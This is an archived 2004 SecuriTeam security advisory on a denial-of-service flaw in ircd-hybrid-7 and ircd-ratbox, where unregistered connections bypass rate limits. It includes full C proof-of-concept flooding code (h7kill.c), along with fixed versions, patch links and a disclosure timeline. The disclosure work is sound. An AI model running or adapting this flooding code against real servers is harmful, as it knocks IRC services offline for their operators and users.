[UNIX] Ircd-Hybrid-7 / Ircd-Ratbox Low-Bandwidth DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 06/22/04

  • Next message: SecuriTeam: "[NEWS] DLink-614+ Script Injection Through DHCP HOSTNAME Option"
    To: list@securiteam.com
    Date: 22 Jun 2004 18:32:03 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Ircd-Hybrid-7 / Ircd-Ratbox Low-Bandwidth DoS
    ------------------------------------------------------------------------

    SUMMARY

    Due to faulty logic in the socket dequeuing mechanism used in hybrid 7 and
    the derivated ircd-ratbox, it is possible to severely lag an IRC server
    using a low-bandwidth DoS attack.

    DETAILS

    Vulnerable Systems:
     * ircd-hybrid version 7.0.1 and prior
     * ircd-ratbox version 1.5.1 and prior
     * ircd-ratbox version 2.0rc6 and prior

    Immune Systems:
     * ircd-hybrid version 7.1-devel
     * ircd-ratbox version 1.5.2
     * ircd-ratbox version 2.0rc7
     * ircd-hybrid version 6
     * csircd

    Client connections to the ircd are subject to a burstable rate limit,
    specified as messages per second, and implemented as a simple token
    bucket. This rate limit will cause a client to exit with an "Excess Flood"
    error if data is sent too fast. This rate limit is not used for connected
    servers, and more importantly, for connections that are not yet registered
    as a client or a server.

    Processing of received data is a 2-stage operation. First, data is read
    from ready sockets, split into lines and queued up in a "linebuf" linked
    list with buffers allocated from a blockheap. Each line will cause a
    537-byte block of data to be allocated.

    Then, these lines are processed by parse_client_queued. If the sender is a
    server, there's no ratelimit which is fine. If the sender is a client,
    there's a ratelimit leading to a closed connection if it's exceeded. If
    the sender is "Unknown", there's a fixed ratelimit of MAX_FLOOD (default
    5) lines per main loop iteration. This ratelimit does not cause the
    connection to be closed if it is exceeded, processing is simply postponed
    until next main loop iteration.

    If a client hasn't registered and remains unidentified, it isn't actually
    subjected to rate limits. each line sent cause a 537 byte buffer to be
    allocated and the lines to be dequeued slowly. Since there is no real
    limit to the number of lines which can be dequeued in this state, a
    possible resource exhaustion is possible on the system running the IRCd
    server. In addition, any one character followed by a newline ('\n') will
    be considered to be a line of input and would cause the 537 byte buffer to
    be set aside.

    The following supplied exploit code performs the necessary attack and lags
    down the affected ircd servers. The effects of the flood usually wear out
    in a few minutes after the attack is done. Nothing is reported in the logs
    in the default log level used by the servers.

    The h7kill.c proof of concept code:
    --------------------------------- Begin Code
    ---------------------------------
    // Proof of concept - remote ircd-hybrid-7/ircd-ratbox DoS
    //
    // ./kiddie-proofed - you'll need to correct a bug
    //
    // Tested on linux, should work with minor tweaks on other platforms
    //
    // -- Erik Sperling Johansen <einride@einride.org>

    #include <stdlib.h>
    #include <stdio.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <sys/signal.h>
    #include <sys/ioctl.h>
    #include <errno.h>
    #include <string.h>
    #include <time.h>

    int done = 0;

    void siginthandler(int x) {
      fprintf(stdout, "Exiting\n");
      done = 1;
    }
    void usage(const char * b) {
      fprintf(stderr, "%s ip port connectioncount\n", b);
      exit(1);
    }

    int makeconn(struct sockaddr_in * sin) {
      int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      if (s < 0) {
        perror("socket");
        return -1;
      }
      int n=1;
      if (ioctl(s, FIONBIO, &n, sizeof(n))) {
        perror("ioctl");
        close(s);
        return -1;
      }
      errno = 0;
      if ((connect(s, (struct sockaddr *) sin, sizeof(sin)) == -1)
        && (errno != EINPROGRESS)) {
        perror("connect");
        close(s);
        return -1;
      }
      return s;
    };

    int main(int argc, const char ** argv, const char ** envp) {
      fd_set wfd, rfd;
      FD_ZERO(&wfd);
      FD_ZERO(&rfd);
      if (argc != 4)
        usage(argv[0]);
      struct sockaddr_in sin;
      memset(&sin, 0, sizeof(sin));
      sin.sin_addr.s_addr = inet_addr(argv[1]);
      if (sin.sin_addr.s_addr == INADDR_NONE)
        usage(argv[0]);
      sin.sin_port = htons(atoi(argv[2]));
      sin.sin_family = AF_INET;
      int conncount = atoi(argv[3]);
      if ((conncount <= 0) || (conncount > FD_SETSIZE-5))
        usage(argv[0]);
      int * sockets = (int *) malloc(conncount * sizeof(int));
      int i, highsock = 0;
      char buf[65536];
      char dummy[65536];
      for (i=0; i<sizeof(buf)-1; i+=2) {
        buf[i] = ' ';
        buf[i+1] = '\n';
      }
      for (i = 0; i<conncount; ++i)
        sockets[i] = -1;
      highsock = -1;
      int CountConnects = 0, CountBytes = 0, CurCountBytes = 0;
      time_t Started = time(0), LastRep = time(0);
      signal(SIGPIPE, SIG_IGN);
      signal(SIGINT, siginthandler);
      while (!done) {
        fd_set w, r;
        if (highsock == -1) {
          for (i=0;i<conncount;++i) {
            if (sockets[i] < 0) {
              sockets[i] = makeconn(&sin);
              if (sockets[i] >= 0) {
                ++CountConnects;
                FD_SET(sockets[i], &wfd);
                FD_SET(sockets[i], &rfd);
              }
              if (highsock < sockets[i])
                highsock = sockets[i];
            }
          }
        }
        memcpy(&w, &wfd, sizeof(w));
        memcpy(&r, &rfd, sizeof(r));
        struct timeval tv = { 1, 0 };
        int c = select(highsock+1, &r, &w, 0, &tv);
        for (i = 0; (i<conncount) && (c > 0); ++i) {
          if (sockets[i] >= 0) {
            if (FD_ISSET(sockets[i], &w)) {
              int bytes = send(sockets[i], buf, sizeof(buf), 0);
              if (bytes > 0) {
                CountBytes += bytes;
                CurCountBytes += bytes;
              } else {
    #ifndef NONOISE
                perror("send");
    #endif
                FD_CLR(sockets[i], &wfd);
                FD_CLR(sockets[i], &rfd);
                close(sockets[i]);
    #ifndef NONOISE
                fprintf(stdout, "(send) Lost conn on socket %i,
    reconnecting\n",
    sockets[i]);
    #endif
                sockets[i] = -1;
                highsock = -1;
              }
            }
          }
          if (sockets[i] >= 0) {
            if (FD_ISSET(sockets[i], &r)) {
              errno = 0;
              if (recv(sockets[i], dummy, sizeof(dummy), 0) <= 0) {
    #ifndef NONOISE
                perror("recv");
    #endif
                FD_CLR(sockets[i], &wfd);
                FD_CLR(sockets[i], &rfd);
                close(sockets[i]);
    #ifndef NONOISE
                fprintf(stdout, "(recv) Lost conn on socket %i,
    reconnecting\n",
                sockets[i]);
    #endif
                sockets[i] = -1;
                highsock = -1;
              }
            }
          }
        }
        
        if (time(0) - LastRep > 5) {
          fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS - Last
    period: %i bytes, %li BPS\n", CountConnects, CountBytes, CountBytes /
    (time(0) - Started), CurCountBytes, CurCountBytes / (time(0) - LastRep));
          LastRep = time(0);
          CurCountBytes = 0;
        }
      }
      fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS\n",
    CountConnects, CountBytes, CountBytes / (time(0) - Started));
      
      return 0;
    }
    ---------------------------------- End Code
    ----------------------------------

    Patch Availability:
     * Upgrade to hybrid-6 or csircd
     * Get the corrected ratbox-1.5.2 from <http://www.ircd-ratbox.org>
    http://www.ircd-ratbox.org
     * Get a hybrid-7.0.1 patch from
    <http://www.ircd-hybrid.org/diff/unreg_limit.diff>
    http://www.ircd-hybrid.org/diff/unreg_limit.diff

    Disclosure Timeline
     * Found june 13th.
     * Developers informed june 14th. Patch made available immediately.
     * Notified EFNet administration june 15th.
     * Public release june 19th.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:einride@einride.org> Erik
    Sperling Johansen.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] DLink-614+ Script Injection Through DHCP HOSTNAME Option"

    Relevant Pages

    • Re: [OT] HELP!!! mail attack
      ... attacks including all kinds of rate limiting for number of connections ... server connects and trys to send mail to non-existant users or other ... You can rate limit the number of ...
      (Fedora)
    • [NT] Webbsyte Chat DoS Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Webbsyte char server is vulnerable to a denial of service vulnerability ... What triggers the vulnerability are mere 40 simultaneous raw connections ...
      (Securiteam)
    • [TOOL] TCP Conneciton Denial of Service Tool (panic.pl)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... connections against the target server. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NT] Multiple Vulnerabilities in HP Web JetAdmin (Read, Write, Execute, Path Disclosure, Password De
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... HP Web JetAdmin is an enterprise management system for large amounts of HP ... The web server is a modular service ... HP Web JetAdmin uses it's own encryption. ...
      (Securiteam)
    • [NEWS] Multiple Vulnerabilities in Oracle Database (Character Conversion, Extproc, Password Disclosu
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple vulnerabilities were discovered in the (Oracle database server ... password is required to exploit this vulnerability. ...
      (Securiteam)